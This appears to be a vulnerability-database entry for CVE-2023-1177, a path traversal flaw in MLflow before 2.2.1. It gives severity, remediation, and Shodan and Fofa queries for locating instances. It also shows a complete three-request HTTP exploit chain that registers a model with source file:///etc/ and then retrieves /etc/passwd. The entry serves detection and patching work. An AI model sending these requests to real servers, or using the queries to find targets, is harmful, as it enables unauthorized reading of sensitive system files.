🔙 목록으로 돌아가기

CVE-2023-1177: Mlflow <2.2.1 - Local File Inclusion

TitleMlflow <2.2.1 - Local File Inclusion
Authoriamnoooob,pdresearch
SeverityCritical
ImpactSuccessful exploitation could allow an attacker to read sensitive files on the server.
RemediationUpgrade Mlflow to version 2.2.1 or later to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.93237
CVE IDCVE-2023-1177
CWE IDCWE-29,CWE-22
Shodan Queryhttp.title:"mlflow"
Fofa Querytitle="mlflow"app="mlflow"
Tags cve2023 cve mlflow oss lfi huntr intrusive lfprojects vkev vuln

🔍 Vulnerability Description

Mlflow before 2.2.1 is susceptible to local file inclusion due to path traversal ..\filename in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.5
Connection: close
Content-Length: 38
Content-Type: application/json; charset=utf-8
Accept-Encoding: gzip

{"name":"38Esyk9UkkzpGaxbZt35kqvqogB"}
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15
Connection: close
Content-Length: 62
Content-Type: application/json; charset=utf-8
Accept-Encoding: gzip

{"name":"38Esyk9UkkzpGaxbZt35kqvqogB","source":"file:///etc/"}
GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version=GoomjO HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1177.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1177.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A